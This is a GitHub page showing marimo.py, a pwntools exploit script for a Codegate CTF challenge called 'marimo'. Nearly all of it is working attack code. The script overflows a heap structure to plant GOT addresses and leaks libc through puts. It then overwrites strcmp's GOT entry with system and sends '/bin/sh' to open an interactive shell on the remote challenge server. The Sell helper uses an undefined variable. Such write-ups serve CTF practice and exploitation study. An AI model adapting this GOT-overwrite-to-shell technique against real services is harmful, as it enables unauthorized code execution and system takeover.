-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmarimo.py
82 lines (70 loc) · 1.63 KB
/
marimo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
binary = './marimo'
elf = ELF(binary)
libc = elf.libc
#io = process(binary)
io = remote('ch41l3ng3s.codegate.kr', 3333)
context.log_level = 'debug'
pause()
def show_me_the_marimo(name, profile):
io.recvuntil(">>")
io.sendline('show me the marimo')
io.recvuntil("What's your new marimo's name? (0x10)")
io.recvuntil(">>")
io.sendline(name)
io.recvuntil(">>")
io.sendline(profile)
def View():
io.recvuntil(">>")
io.sendline('V')
def Buy(sz):
io.recvuntil(">>")
io.sendline('B')
io.recvuntil(">>")
io.sendline(str(sz))
io.recvuntil(">>")
io.sendline('P')
def Sell():
io.recvuntil(">>")
io.sendline(str(idx))
io.recvuntil("?")
io.sendline('S')
show_me_the_marimo('a' * 8, 'a' * 8)
show_me_the_marimo('b' * 8, 'b' * 8)
show_me_the_marimo('c' * 8, 'c' * 8)
sleep(2)
View()
io.recvuntil(">>")
io.sendline('0')
io.recvuntil("?")
io.sendline('M')
io.sendline('a' * 0x20 + p64(0) + p64(0x20) + p32(0x1) + p32(0) + p64(elf.got['puts']) + p64(elf.got['strcmp']))
io.recvuntil("?")
io.sendline('B')
# leak libc
View()
io.recvuntil(">>")
io.sendline('1')
io.recvuntil("name : ")
libc.address = u64(io.recvuntil("\n")[:-1].ljust(8, '\x00')) - libc.symbols['puts']
print hex(libc.address)
io.recvuntil("?")
io.sendline('B')
# edit strcmp got
View()
io.recvuntil(">>")
io.sendline('1')
io.recvuntil("?")
io.recvuntil(">> ")
io.sendline('M')
io.recvuntil(">> ")
io.sendline(p64(libc.symbols['system'])[:-1])
io.recvuntil("?")
io.recvuntil(">>")
io.sendline('B')
pause()
io.recvuntil(">>")
io.sendline('/bin/sh')
io.interactive()